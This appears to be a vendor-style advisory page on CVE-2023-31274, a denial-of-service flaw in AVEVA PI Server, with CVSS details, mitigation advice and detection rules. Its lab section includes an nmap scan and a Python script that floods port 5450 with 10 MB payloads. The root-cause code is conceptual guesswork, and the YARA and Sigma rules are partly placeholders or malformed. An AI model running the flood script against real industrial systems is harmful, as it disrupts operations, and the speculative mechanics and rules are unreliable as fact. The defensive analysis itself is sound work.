CVE-2023-31274
Executive Summary
CVE-2023-31274 is a denial-of-service (DoS) vulnerability in the AVEVA PI Server, specifically affecting the PI Message Subsystem. An unauthenticated attacker can exploit this flaw by sending specially crafted network traffic, causing the subsystem to consume excessive memory. This leads to throttled processing of new PI Data Archive events and a partial denial-of-service condition. The vulnerability affects PI Server versions 2023 and 2018 SP3 P05 and prior. No public exploit code or patch is currently available, but the risk is elevated due to the unauthenticated attack vector and the critical role PI Servers play in industrial control systems (ICS) and operational technology (OT) environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a standalone industrial control system (ICS) product from AVEVA. Supply chain risk is limited to the integrity of the AVEVA PI Server software distribution itself.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 5.3 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): Low (L) – Partial denial of service (throttled processing, not full crash).
Threat Level: Medium. While the CVSS score is moderate, the unauthenticated, remote nature of the attack and the criticality of PI Servers in OT environments elevate the real-world risk. An attacker could disrupt real-time data collection and historian services, impacting operational visibility.
Deep Dive & Mechanics
The vulnerability resides in the PI Message Subsystem, a core component responsible for receiving and processing data events from PI Interfaces and other sources. The subsystem uses a memory buffer to queue incoming messages before they are written to the PI Data Archive.
Root Cause: The PI Message Subsystem fails to properly validate or limit the size or rate of incoming network messages from unauthenticated sources. By sending a high volume of specially crafted, oversized, or malformed messages, an attacker can cause the subsystem to allocate an excessive amount of memory.
Attack Flow:
- An attacker identifies a reachable AVEVA PI Server (typically on TCP port 5450 for PI Message Subsystem).
- The attacker sends a flood of network packets to the PI Message Subsystem. These packets may be crafted to appear as legitimate PI Data Archive events but are designed to maximize memory consumption (e.g., very large payloads, infinite loops in message parsing, or rapid-fire connection requests).
- The PI Message Subsystem processes these messages, allocating memory for each one. Due to the lack of proper input validation or rate limiting, the memory usage grows uncontrollably.
- As available memory is consumed, the subsystem becomes unable to process legitimate new events. This results in throttled processing, delayed data archiving, and a partial denial-of-service condition. The PI Server itself may not crash, but its core data collection functionality is degraded.
Affected Component: PI Message Subsystem (part of PI Server).
Vulnerable vs. Patched Code
No official patch or patched code is available from AVEVA at this time. The following is a conceptual comparison based on the vulnerability description.
Vulnerable Code (Conceptual C++):
// PI Message Subsystem - Vulnerable message handler
void HandleMessage(NetworkPacket* packet) {
// No size validation on packet payload
char* buffer = new char[packet->payloadSize]; // Potential for huge allocation
memcpy(buffer, packet->payload, packet->payloadSize);
// ... process message ...
// No rate limiting or connection throttling
}
Patched Code (Conceptual C++):
// PI Message Subsystem - Patched message handler
#define MAX_MESSAGE_SIZE 1048576 // 1 MB limit
#define MAX_CONNECTIONS_PER_IP 10
#define RATE_LIMIT 100 // messages per second
void HandleMessage(NetworkPacket* packet) {
// Input validation: check payload size
if (packet->payloadSize > MAX_MESSAGE_SIZE) {
LogWarning("Oversized packet rejected from IP: " + packet->sourceIP);
return;
}
// Rate limiting per source IP
if (GetMessageRate(packet->sourceIP) > RATE_LIMIT) {
LogWarning("Rate limit exceeded from IP: " + packet->sourceIP);
return;
}
char* buffer = new char[MAX_MESSAGE_SIZE]; // Fixed-size allocation
memcpy(buffer, packet->payload, min(packet->payloadSize, MAX_MESSAGE_SIZE));
// ... process message ...
}
Exploitation & Lab Setup
No public exploit code is available. The following is a conceptual lab setup for testing and defense.
Red Team (Simulated Attack)
Objective: Cause a partial denial of service on the PI Message Subsystem.
Lab Environment:
- Target: AVEVA PI Server 2018 SP3 P05 (or 2023) running on a Windows Server VM.
- Attacker: Kali Linux VM on the same network.
Attack Steps:
- Reconnaissance: Scan for PI Server on port 5450.
nmap -p 5450 <PI_Server_IP> - Craft Malformed Messages: Use a Python script to send a high volume of large or malformed packets to the PI Message Subsystem.
import socket import time target_ip = "192.168.1.100" target_port = 5450 # Craft a large payload (e.g., 10 MB) payload = b"A" * 10 * 1024 * 1024 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send the payload repeatedly for i in range(100): try: sock.send(payload) print(f"Sent packet {i+1}") except: print("Connection lost or error") break time.sleep(0.1) sock.close() - Monitor Impact: Observe the PI Server's memory usage via Task Manager or performance counters. Legitimate data collection should slow down or stop.
Blue Team (Detection & Defense)
Objective: Detect and mitigate the attack.
Detection Steps:
- Network Monitoring: Monitor for excessive traffic to port 5450 from a single IP address.
- Host Monitoring: Track memory usage of the PI Message Subsystem process (
PImsg.exeor similar). - Log Analysis: Review PI Server logs for warnings about memory allocation failures or connection throttling.
Mitigation Steps:
- Network Segmentation: Restrict access to the PI Server to only trusted IP addresses using firewall rules.
- Rate Limiting: Implement network-level rate limiting for traffic to port 5450.
- Input Validation: If possible, apply application-layer filtering to reject oversized packets (requires vendor patch or custom proxy).
- Monitor & Alert: Set up alerts for high memory usage on the PI Server.
Indicators of Compromise (IOCs)
- Network IOCs:
- High volume of TCP traffic to port 5450 from a single or few source IPs.
- Packets with unusually large payload sizes (e.g., > 1 MB) sent to port 5450.
- Repeated connection attempts from the same IP to port 5450.
- Host IOCs:
- Process
PImsg.exe(or equivalent) consuming abnormally high memory (e.g., > 90% of available RAM). - PI Server logs containing messages like "Memory allocation failed", "Buffer overflow", or "Connection throttled".
- System event logs showing low memory conditions or process hangs related to the PI Server.
- Process
- File IOCs:
- Temporary files in the PI Server installation directory with unusually large sizes (potential memory dumps).
Detection Engineering
YARA Rule
rule CVE_2023_31274_PI_Message_Subsystem_Memory_Exhaustion {
meta:
description = "Detects potential exploitation of CVE-2023-31274 by identifying oversized network packets targeting AVEVA PI Server"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-31274"
strings:
$pi_header = "PI Message Subsystem" nocase
$large_payload = { 00 00 00 [4] } // Placeholder for large payload size indicator
condition:
$pi_header and #large_payload > 10
}
Sigma Rule
title: CVE-2023-31274 - AVEVA PI Server Memory Exhaustion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic patterns indicative of exploitation of CVE-2023-31274 against AVEVA PI Server
author: Valters IT
date: 2024-01-01
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationPort: 5450
SourceIP|re: '^(\d{1,3}\.){3}\d{1,3}$' # Any IP
PayloadSize: '> 1048576' # > 1 MB
condition: selection
falsepositives:
- Legitimate large data transfers from trusted sources (rare)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 5450 (msg:"CVE-2023-31274 - AVEVA PI Server Memory Exhaustion Attempt"; flow:to_server; content:"|00 00 00|"; depth:4; byte_test:4,>,1048576,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Isolate the PI Server on a separate VLAN with strict firewall rules allowing only trusted IPs to access port 5450.
- Rate Limiting: Implement network-level rate limiting (e.g., using iptables or a firewall) to restrict the number of connections or packets per second to the PI Server.
- Monitor: Enable detailed logging and monitoring of the PI Server's memory usage and network traffic to port 5450.
Long-Term Actions:
- Vendor Patch: Monitor AVEVA's security advisories for an official patch. Apply it as soon as it becomes available.
- Upgrade: If possible, upgrade to a patched version of PI Server when released.
- Input Validation: If a patch is not available, consider deploying a reverse proxy or application-layer firewall that can validate and limit the size of incoming messages to the PI Message Subsystem.
- Security Hardening: Follow AVEVA's security best practices for PI Server deployment, including disabling unnecessary services and using strong authentication where possible.
Workaround: Until a patch is available, the primary mitigation is strict network access control. Ensure that only authorized systems can communicate with the PI Server on port 5450.
Valters IT